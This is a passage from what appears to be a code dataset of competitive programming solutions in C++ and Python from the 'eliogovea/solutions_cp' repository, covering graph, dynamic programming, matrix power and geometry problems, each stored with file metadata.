+ 7;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\ninline int power(int x, int n) {\r\n\tint y = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\ty = mul(y, x);\r\n\t\t}\r\n\t\tx = mul(x, x);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn y;\r\n}\r\n\r\nconst int N = 5 * 1000;\r\nconst int C = 100;\r\nint comb[C][C];\r\nint nd[N + 2];\r\nint fact[N + 4], invFact[N + 2];\r\nint edges[N + 2][N + 2], ways[N + 2][N + 2];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tfor (int j = i + i; j <= N; j += i) {\r\n\t\t\tnd[j]++;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < C; i++) {\r\n\t\tcomb[i][0] = comb[i][i] = 1;\r\n\t\tfor (int j = 1; j < i; j++) {\r\n\t\t\tcomb[i][j] = comb[i - 1][j - 1];\r\n\t\t\tadd(comb[i][j], comb[i - 1][j]);\r\n\t\t}\r\n\t}\r\n\tfor (int k = 1; k <= N; k++) {\r\n\t\tfor (int n = 1; n <= N; n++) {\r\n\t\t\tedges[n][k] = edges[n - 1][k];\r\n\t\t\tadd(edges[n][k], min(nd[n], k));\r\n\t\t\tif (n == 1) {\r\n\t\t\t\tways[n][k] = 1;\r\n\t\t\t} else {\r\n\t\t\t\tways[n][k] = ways[n - 1][k];\r\n\t\t\t\tways[n][k] = mul(ways[n][k], comb[nd[n]][min(nd[n], k)]);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tint n, k;\r\n\t\tcin >> n >> k;\r\n\t\tcout << edges[n][k] << \" \" << ways[n][k] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.29797980189323425, "alphanum_fraction": 0.33838382363319397, "avg_line_length": 20, "blob_id": "2f122a2d7d52250905459ecca5140c20dbe5b106", "content_id": "fe5df5cf34c3961ec1497556934f432bbf42a73f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 594, "license_type": "no_license", "max_line_length": 78, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p2997-Accepted-s680767.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 2997.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : \r\n//============================================================================\r\n\r\n#include <iostream>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst LL mod = 1000000007;\r\n\r\nLL n, dp[105];\r\n\r\nint main() {\r\n\tdp[1] = 1;\r\n\tfor (int i = 2; i <= 100; i++)\r\n\t\tfor (int j = 1; j < i; j++) {\r\n\t\t\tdp[i] += (dp[j] * dp[i - j]) % mod;\r\n\t\t\tdp[i] %= mod;\r\n\t\t}\r\n\twhile (cin >> n) cout << dp[n] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.41336795687675476, "alphanum_fraction": 0.42310187220573425, "avg_line_length": 17.024690628051758, "blob_id": "cd49294a69c88b0f7d75675b6890d3872f8b76ec", "content_id": "7a25dacd55a1a09def5db61ac9b5606728b0a630", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1541, "license_type": "no_license", "max_line_length": 44, "num_lines": 81, "path": "/COJ/eliogovea-cojAC/eliogovea-p3136-Accepted-s792656.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1005;\r\nconst int inf = 1e9 + 7;\r\n\r\nint t;\r\nint n, m, p;\r\nint s, e;\r\nvector<int> ady[N], cost[N];\r\nint par[N], distp[N];\r\nint dist[N];\r\npriority_queue<pair<int, int> > q;\r\nbool used[N];\r\nbool dp[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n >> m >> p;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tady[i].clear();\r\n\t\t\tcost[i].clear();\r\n\t\t\tdist[i] = inf;\r\n\t\t\tused[i] = false;\r\n\t\t}\r\n\t\tfor (int i = 0; i <= p; i++) {\r\n\t\t\tdp[i] = false;\r\n\t\t}\r\n\t\twhile (m--) {\r\n\t\t\tint x, y, z;\r\n\t\t\tcin >> x >> y >> z;\r\n\t\t\tady[x].push_back(y);\r\n\t\t\tcost[x].push_back(z);\r\n\t\t\tady[y].push_back(x);\r\n\t\t\tcost[y].push_back(z);\r\n\t\t}\r\n\t\tcin >> s >> e;\r\n\t\tdist[s] = 0;\r\n\t\tq.push(make_pair(0, s));\r\n\t\twhile (!q.empty()) {\r\n\t\t\tint u = q.top().second;\r\n\t\t\tq.pop();\r\n\t\t\tif (used[u]) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tused[u] = true;\r\n\t\t\tfor (int i = 0; i < ady[u].size(); i++) {\r\n\t\t\t\tint v = ady[u][i];\r\n\t\t\t\tint c = cost[u][i];\r\n\t\t\t\tif (dist[v] > dist[u] + c) {\r\n\t\t\t\t\tdist[v] = dist[u] + c;\r\n\t\t\t\t\tpar[v] = u;\r\n\t\t\t\t\tq.push(make_pair(-dist[v], v));\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tint time = dist[e];\r\n\t\tdp[0] = true;\r\n\t\twhile (e != s) {\r\n\t\t\tint tmp = dist[e] - dist[par[e]];\r\n\t\t\tif (tmp <= p) {\r\n\t\t\t\tfor (int i = p; i >= tmp; i--) {\r\n\t\t\t\t\tdp[i] |= dp[i - tmp];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\te = par[e];\r\n\t\t}\r\n\t\tint bst = 0;\r\n\t\tfor (int i = 1; i <= p; i++) {\r\n\t\t\tif (dp[i]) {\r\n\t\t\t\tbst = i;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << bst << \" \" << time + bst << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3459915518760681, "alphanum_fraction": 0.3670886158943176, "avg_line_length": 13.800000190734863, "blob_id": "2a6836189aeadc6442fdc0d5eafeaa3d97b46873", "content_id": "0df81297b57cfaf0193e4a5682a4c705c8786d62", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 237, "license_type": "no_license", "max_line_length": 50, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p1907-Accepted-s490405.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nlong n,m,t;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&t);\r\n while(t--)\r\n {\r\n scanf(\"%d%d\",&m,&n);\r\n if(!m || !n)printf(\"0\\n\");\r\n else printf(\"%d\\n\",(m+n+!(m&1)+!(n&1))/2);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3901485502719879, "alphanum_fraction": 0.412040650844574, "avg_line_length": 14.189873695373535, "blob_id": "1bc8120e20f44f16b740959e4fa88ff584133d78", "content_id": "d189141a19e3173a3cad03950cb003543fe2302d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1279, "license_type": "no_license", "max_line_length": 54, "num_lines": 79, "path": "/COJ/eliogovea-cojAC/eliogovea-p3264-Accepted-s809983.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1e9 + 7;\r\n\r\nconst int sz = 11;\r\n\r\nstruct matrix {\r\n\tll m[12][12];\r\n\tll * operator [] (int x) {\r\n\t\treturn m[x];\r\n\t}\r\n\tconst ll * operator [] (const int x) const {\r\n\t\treturn m[x];\r\n\t}\r\n\tvoid O() {\r\n\t\tfor (int i = 0; i < sz; i++) {\r\n\t\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\t\tm[i][j] = 0;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tvoid I() {\r\n\t\tfor (int i = 0; i < sz; i++) {\r\n\t\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\t\tm[i][j] = (i == j);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n};\r\n\r\nmatrix operator * (const matrix &a, const matrix &b) {\r\n\tmatrix res;\r\n\tres.O();\r\n\tfor (int i = 0; i < sz; i++) {\r\n\t\tfor (int j = 0; j < sz; j++) {\r\n\t\t\tfor (int k = 0; k < sz; k++) {\r\n\t\t\t\tres[i][j] += (a[i][k] * b[k][j]) % mod;\r\n\t\t\t\tres[i][j] %= mod;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix power(matrix x, int n) {\r\n\tmatrix res;\r\n\tres.I();\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = res * x;\r\n\t\t}\r\n\t\tx = x * x;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint n, a, b;\r\nmatrix M;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 0; i <= 10; i++) {\r\n\t\tM[i][i] = i;\r\n\t\tM[i][i + 1] = 10 - i;\r\n\t}\r\n\tcin >> n >> a >> b;\r\n\tM = power(M, n);\r\n\tll ans = 0;\r\n\tfor (int i = a; i <= b; i++) {\r\n\t\tans = (ans + M[0][i]) % mod;\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.2868165075778961, "alphanum_fraction": 0.3049312233924866, "avg_line_length": 20.446043014526367, "blob_id": "150c93b57a823cc29c8c5d7ea8ac7b25d96117f9", "content_id": "1d07062aba72c4882fbacdef4e8020fc7f3faf8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2981, "license_type": "no_license", "max_line_length": 94, "num_lines": 139, "path": "/Codeforces-Gym/101572 - 2017-2018 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2017)/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2017)\n// 101572I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int oo = (1 << 29);\nconst int MAXN = 505;\n\nvector<int> g[MAXN];\n\nstring names[MAXN];\n\nbool mk[MAXN][MAXN];\nint d[MAXN][MAXN];\nint p[MAXN][MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n; cin >> n;\n\n unordered_map<string,int> dic;\n\n for( int i = 1; i <= n; i++ ){\n cin >> names[i];\n dic[ names[i] ] = i;\n }\n\n for( int i = 1; i <= n; i++ ){\n string kk; int l; cin >> kk >> l;\n\n string s;\n getline(cin,s);\n for( int j = 1; j <= l; j++ ){\n s = \"\";\n getline( cin , s );\n\n //cerr << s << '\\n';\n\n string name = \"\";\n bool ok = false;\n for( int c = 0; c < s.size(); c++ ){\n if( s[c] == ' ' ){\n if( ok ){\n g[i].push_back( dic[name] );\n\n //cerr << names[i] << \" ----> \" << name << '\\n';\n }\n\n ok = true;\n name = \"\";\n continue;\n }\n\n if( s[c] == ',' ){\n continue;\n }\n\n name += s[c];\n\n if( c == s.size()-1 ){\n g[i].push_back( dic[name] );\n //cerr << names[i] << \" ----> \" << name << '\\n';\n }\n }\n }\n }\n\n //return 0;\n\n for( int i = 1; i <= n; i++ ){\n for( int j = 1; j <= n; j++ ){\n d[i][j] = oo;\n }\n\n d[i][i] = 0;\n }\n\n for( int u = 1; u <= n; u++ ){\n for( int j = 0; j < g[u].size(); j++ ){\n int v = g[u][j];\n\n d[u][v] = 1;\n p[u][v] = u;\n mk[u][v] = true;\n\n if( u == v ){\n cout << names[u] << '\\n';\n return 0;\n }\n }\n }\n\n for( int k = 1; k <= n; k++ ){\n for( int u = 1; u <= n; u++ ){\n for( int v = 1; v <= n; v++ ){\n if( d[u][k] + d[k][v] < d[u][v] ){\n d[u][v] = d[u][k] + d[k][v];\n p[u][v] = p[k][v];\n }\n }\n }\n }\n\n int ini = -1, fin = -1;\n for( int u = 1; u <= n; u++ ){\n for( int v = 1; v <= n; v++ ){\n if( u == v ){\n continue;\n }\n\n if( d[u][v] != oo && mk[v][u] && ( ini == -1 || d[u][v] + 1 < d[ini][fin] + 1 ) ){\n ini = u;\n fin = v;\n }\n }\n }\n\n if( ini == -1 ){\n cout << \"SHIP IT\\n\";\n return 0;\n }\n\n vector<string> sol;\n sol.push_back( names[ini] );\n while( ini != fin ){\n sol.push_back( names[fin] );\n fin = p[ini][fin];\n }\n\n for( int i = sol.size()-1; i >= 0; i-- ){\n cout << sol[i] << \" \\n\"[i == 0];\n }\n}\n" }, { "alpha_fraction": 0.4526315927505493, "alphanum_fraction": 0.46315789222717285, "avg_line_length": 17, "blob_id": "98c098328672fff4475e4b1be5f3d7febcabc6c9", "content_id": "021d47103631c94c57bca855f7d8b919fce799bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 475, "license_type": "no_license", "max_line_length": 46, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p1806-Accepted-s638694.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint l, n, p, sol;\r\nchar d;\r\nstring s1 = \"The last ant will fall down in \";\r\nstring s2 = \" seconds.\\n\";\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\twhile (cin >> l >> n && (n | l)) {\r\n\t\tsol = -1;\r\n\t\twhile (n--) {\r\n\t\t\tcin >> p >> d;\r\n\t\t\tif (d == 'L')\r\n\t\t\t\tif (sol < p) sol = p;\r\n\t\t\tif (d == 'R')\r\n\t\t\t\tif (sol < l - p) sol = l - p;\r\n\t\t}\r\n\t\tcout << s1 << sol << s2;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3764044940471649, "alphanum_fraction": 0.4325842559337616, "avg_line_length": 17.736841201782227, "blob_id": "dfd6ee650f21341686a16b11cdd610c45a3e7e52", "content_id": "c360328d2088f6bd9c84cff7521f1016326317fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 356, "license_type": "no_license", "max_line_length": 44, "num_lines": 19, "path": "/Timus/1036-8144927.py", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1036\n// Verdict: Accepted\n\nn, s = map(int, input().split())\n\nif s % 2 == 1:\n print(\"0\")\n exit()\n\ndp = [[0] * (s + 1) for l in range(n + 1)]\n\ndp[0][0] = 1\nfor l in range(n):\n for x in range(s + 1):\n for d in range(10):\n if x + d <= s:\n dp[l + 1][x + d] += dp[l][x]\n\nprint(dp[n][s // 2] ** 2)\n" }, { "alpha_fraction": 0.4452054798603058, "alphanum_fraction": 0.4651307463645935, "avg_line_length": 18.329113006591797, "blob_id": "39886be6fa34035bb6fa71e5e4123733635e932d", "content_id": "9e679eab2d31156143aa462821c2ffad9234fa70", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1606, "license_type": "no_license", "max_line_length": 62, "num_lines": 79, "path": "/COJ/eliogovea-cojAC/eliogovea-p2719-Accepted-s683973.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n#include <cmath>\r\n\r\nusing namespace std;\r\n\r\nconst double eps = 1e-7;\r\nconst int MAXN = 100005;\r\n\r\nstruct pt {\r\n\tdouble x, y;\r\n\tpt() {}\r\n\tpt(double xx, double yy) : x(xx), y(yy) {}\r\n\tbool operator < (const pt &P) const {\r\n\t\tif (x != P.x) return x < P.x;\r\n\t\treturn y < P.y;\r\n\t}\r\n} P[MAXN], CH[MAXN];\r\n\r\nint Ps, CHs;\r\n\r\ndouble cross(const pt &a, const pt &b, const pt &c) {\r\n\treturn (b.x - a.x) * (c.y - a.y) - (c.x - a.x) * (b.y - a.y);\r\n}\r\n\r\nbool cw(const pt &a, const pt &b, const pt &c) {\r\n\treturn cross(a, b, c) < 0.0;\r\n}\r\n\r\ndouble dist(const pt &a, const pt &b) {\r\n\tdouble dx = a.x - b.x;\r\n\tdouble dy = a.y - b.y;\r\n\treturn sqrt(dx * dx + dy * dy);\r\n}\r\n\r\nbool cmp(const pt &a, const pt &b) {\r\n\tdouble cr = cross(P[0], a, b);\r\n\tif (fabs(cr) < eps) return dist(P[0], a) < dist(P[0], b);\r\n\treturn cr < 0.0;\r\n}\r\n\r\nvoid ConvexHull() {\r\n\tpt aux;\r\n\tfor (int i = 0; i < Ps; i++)\r\n\t\tif (P[i] < P[0]) {\r\n\t\t\taux = P[i];\r\n\t\t\tP[i] = P[0];\r\n\t\t\tP[0] = aux;\r\n\t\t}\r\n\tsort(P + 1, P + Ps, cmp);\r\n\tint k = 0;\r\n\tfor (int i = 0; i < Ps; i++) {\r\n\t\twhile (k >= 2 && !cw(CH[k - 2], CH[k - 1], P[i])) k--;\r\n\t\tCH[k++] = P[i];\r\n\t}\r\n\tCHs = k;\r\n}\r\n\r\ndouble max_dist() {\r\n\tdouble mx = 0;\r\n\tConvexHull();\r\n\tfor (int i = 0, j = 0; i < CHs; i++) {\r\n\t\twhile (dist(CH[i], CH[(j + 1) % CHs]) > dist(CH[i], CH[j]))\r\n\t\t\tj = (j + 1) % CHs;\r\n\t\tdouble d = dist(CH[i], CH[j]);\r\n\t\tif (mx < d) mx = d;\r\n\t}\r\n\treturn mx;\r\n}\r\n\r\n\r\nint main() {\r\n\tint a, b;\r\n\tscanf(\"%d%d\", &a, &b);\r\n\tPs = a + b;\r\n for (int i = 0; i < Ps; i++)\r\n scanf(\"%lf%lf\", &P[i].x, &P[i].y);\r\n printf(\"%.4lf\\n\", max_dist());\r\n}\r\n" }, { "alpha_fraction": 0.3274695575237274, "alphanum_fraction": 0.37347766757011414, "avg_line_length": 15.186046600341797, "blob_id": "f1c5d724f12193cd881d224b928bfabf48e6eb57", "content_id": "5b6a804940bc5833e9373a43b35d494852b76738", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 739, "license_type": "no_license", "max_line_length": 41, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p3446-Accepted-s894988.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint t;\r\nstring sn, sk;\r\nint n, k;\r\n\r\nint last[20];\r\n\r\nint val[105];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tval[0] = 0;\r\n\tval[1] = 1;\r\n\tfor (int i = 2; i <= 24; i++) {\r\n\t\tval[i] = (val[i - 1] + val[i - 2]) % 6;\r\n\t}\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> sn >> sk;\r\n\t\tif (sn == \"0\") {\r\n cout << \"1\\n\";\r\n continue;\r\n\t\t}\r\n\t\tk = sk[sk.size() - 1] - '0';\r\n\t\tif (k == 0) {\r\n cout << \"0\\n\";\r\n continue;\r\n\t\t}\r\n\t\tlast[0] = 1;\r\n\t\tfor (int i = 1; i < 6; i++) {\r\n\t\t\tlast[i] = (last[i - 1] * k) % 7;\r\n\t\t}\r\n\t\tint r = 0;\r\n\t\tfor (int i = 0; sn[i]; i++) {\r\n\t\t\tr = (7 * r + sn[i] - '0') % 24;\r\n\t\t}\r\n\t\tcout << last[val[r]] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4038155674934387, "alphanum_fraction": 0.44038155674934387, "avg_line_length": 17.060606002807617, "blob_id": "8583da67b3d4542777d0d5565b9ec6f59629900f", "content_id": "2758566f7ed61eec82c1b39e85ebb70a3bd94a0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 629, "license_type": "no_license", "max_line_length": 62, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p1651-Accepted-s550441.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\n#define MAXN 100000\r\n#define LOGMAXN 50\r\n\r\nint n,q,a,b,lg,mn;\r\nint MIN[MAXN][LOGMAXN];\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d\",&n);\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n scanf(\"%d\",&MIN[i][0]);\r\n\r\n\r\n for(int j=1; 1<<j <= n; j++)\r\n for(int i=1; 1<<j <= n-i+1; i++)\r\n MIN[i][j]=min(MIN[i][j-1],MIN[i+(1<<(j-1))][j-1]);\r\n\r\n scanf(\"%d\",&q);\r\n while(q--)\r\n {\r\n scanf(\"%d%d\",&a,&b);\r\n if(a>b)swap(a,b);\r\n lg=(int)log2(b-a+1);\r\n mn=min(MIN[a][lg],MIN[b-(1<<lg)+1][lg]);\r\n printf(\"%d\\n\",mn);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.4083769619464874, "alphanum_fraction": 0.43193715810775757, "avg_line_length": 15.363636016845703, "blob_id": "2a199573ae16e9c28e23f2cf74288c45786c4a5b", "content_id": "6a3ec8ec55e9e51f9766830d7681ac6e6b7106ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 382, "license_type": "no_license", "max_line_length": 48, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2661-Accepted-s546085.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\ntypedef string::iterator si;\r\n\r\nstring num;\r\nint r;\r\n\r\nint main()\r\n{\r\n while(cin >> num)\r\n {\r\n r=0;\r\n for(si i=num.begin(); i!=num.end(); i++)\r\n r=(r+(*i-'0'))%3;\r\n\r\n if(r==0)cout << '1' << endl;\r\n else if(r==1)cout << '7' << endl;\r\n else cout << '4' << endl;\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.41866666078567505, "alphanum_fraction": 0.445333331823349, "avg_line_length": 13.625, "blob_id": "7670f415dacfd7ed7c3069c289b4e3f3cec6ebb8", "content_id": "1c7986ba4ddc5f8b6142b0d7469d133aa8c870cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 375, "license_type": "no_license", "max_line_length": 35, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p3223-Accepted-s784743.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000000;\r\n\r\nint t, n;\r\nint sum[N + 5];\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tfor (int j = i; j <= N; j += i) {\r\n\t\t\tsum[j] += i;\r\n\t\t}\r\n\t}\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tcout << sum[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.41280612349510193, "alphanum_fraction": 0.4420183002948761, "avg_line_length": 18.172618865966797, "blob_id": "61533b2d37ae6d4c4d4eaa4882f571680a698728", "content_id": "6b1b03088f884b0e6258dab08e2807c952d9616b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3389, "license_type": "no_license", "max_line_length": 65, "num_lines": 168, "path": "/COJ/eliogovea-cojAC/eliogovea-p3657-Accepted-s958453.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long double LD;\r\n\r\nconst LD EPS = 1e-11;\r\n\r\nstruct pt {\r\n\tLD x, y;\r\n\tpt() {}\r\n\tpt(LD _x, LD _y) : x(_x), y(_y) {}\r\n};\r\n\r\npt operator - (const pt &a, const pt &b) {\r\n\treturn pt(a.x - b.x, a.y - b.y);\r\n}\r\n\r\ninline LD dist2(const pt &a, const pt &b) {\r\n\tLD dx = a.x - b.x;\r\n\tLD dy = a.y - b.y;\r\n\treturn dx * dx + dy * dy;\r\n}\r\n\r\ninline LD getAngle(const pt &P) {\r\n\tif (abs(P.x) < EPS) {\r\n\t\treturn (P.y > 0.0 ? M_PI / 2.0 : 3.0 * M_PI / 2.0);\r\n\t}\r\n\tif (abs(P.y) < EPS) {\r\n\t\treturn (P.x > 0.0 ? 0.0 : M_PI);\r\n\t}\r\n\tLD angle = atan(abs(P.y) / abs(P.x));\r\n\tif (P.x > 0.0 && P.y > 0.0) {\r\n\t\treturn angle;\r\n\t}\r\n\tif (P.x < 0.0 && P.y > 0.0) {\r\n\t\treturn M_PI - angle;\r\n\t}\r\n\tif (P.x < 0.0 && P.y < 0.0) {\r\n\t\treturn M_PI + angle;\r\n\t}\r\n\treturn 2.0 * M_PI - angle;\r\n}\r\n\r\nconst int N = 5005;\r\n\r\nint n;\r\npt pts[N];\r\n\r\nint ncc;\r\nint cc[N];\r\nint size[N];\r\n\r\nstruct event {\r\n\tLD angle;\r\n\tint id;\r\n\tevent() {}\r\n\tevent(LD _angle, int _id) : angle(_angle), id(_id) {}\r\n};\r\n\r\nbool operator < (const event &a, const event &b) {\r\n\tif (abs(a.angle - b.angle) > EPS) {\r\n\t\treturn a.angle < b.angle;\r\n\t}\r\n\treturn a.id < b.id;\r\n}\r\n\r\nint freq[N];\r\n\r\ninline void add(int id, int &cur) {\r\n\tif (freq[cc[id]] == 0) {\r\n\t\tcur += size[cc[id]];\r\n\t}\r\n\tfreq[cc[id]]++;\r\n}\r\n\r\ninline void sub(int id, int &cur) {\r\n\tif (freq[cc[id]] == 1) {\r\n\t\tcur -= size[cc[id]];\r\n\t}\r\n\tfreq[cc[id]]--;\r\n}\r\n\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t/// reading\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> pts[i].x >> pts[i].y;\r\n\t}\r\n\r\n\t/// cc\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcc[i] = -1;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (cc[i] == -1) {\r\n\t\t\tqueue <int> Q;\r\n\t\t\tQ.push(i);\r\n\t\t\tcc[i] = ncc;\r\n\t\t\tsize[ncc] = 1;\r\n\t\t\twhile (!Q.empty()) {\r\n\t\t\t\tint u = Q.front();\r\n\t\t\t\tQ.pop();\r\n\t\t\t\tfor (int to = 0; to < n; to++) {\r\n\t\t\t\t\tif ((dist2(pts[u], pts[to]) <= 4.0 + EPS) && cc[to] == -1) {\r\n\t\t\t\t\t\tcc[to] = ncc;\r\n\t\t\t\t\t\tsize[ncc]++;\r\n\t\t\t\t\t\tQ.push(to);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tncc++;\r\n\t\t}\r\n\t}\r\n\tint ans = 0;\r\n\t///\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tvector <int> v;\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tif (cc[j] != cc[i] && (dist2(pts[i], pts[j]) <= 16.0 + EPS)) {\r\n\t\t\t\tv.push_back(j);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ((int)v.size() == 0) {\r\n\t\t\tans = max(ans, size[cc[i]] + 1);\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tfor (int i = 0; i < ncc; i++) {\r\n\t\t\tfreq[i] = 0;\r\n\t\t}\r\n\t\tvector <event> events;\r\n\t\tint cur = size[cc[i]] + 1;\r\n\t\tans = max(ans, cur);\r\n\t\tfor (int j = 0; j < v.size(); j++) {\r\n\t\t\tLD d2 = dist2(pts[i], pts[v[j]]);\r\n\t\t\tLD d = sqrt(d2);\r\n\t\t\tLD h = sqrt(max((LD)0.0, 4.0 - d2 / 4.0));\r\n\t\t\tLD xx = h * (pts[v[j]] - pts[i]).x / d;\r\n\t\t\tLD yy = h * (pts[v[j]] - pts[i]).y / d;\r\n\t\t\tLD xx1 = (pts[v[j]] - pts[i]).x / 2.0 + yy;\r\n\t\t\tLD yy1 = (pts[v[j]] - pts[i]).y / 2.0 - xx;\r\n\t\t\tLD angle1 = getAngle(pt(xx1, yy1));\r\n\t\t\tLD xx2 = (pts[v[j]] - pts[i]).x / 2.0 - yy;\r\n\t\t\tLD yy2 = (pts[v[j]] - pts[i]).y / 2.0 + xx;\r\n\t\t\tLD angle2 = getAngle(pt(xx2, yy2));\r\n\t\t\tif (angle2 < angle1) 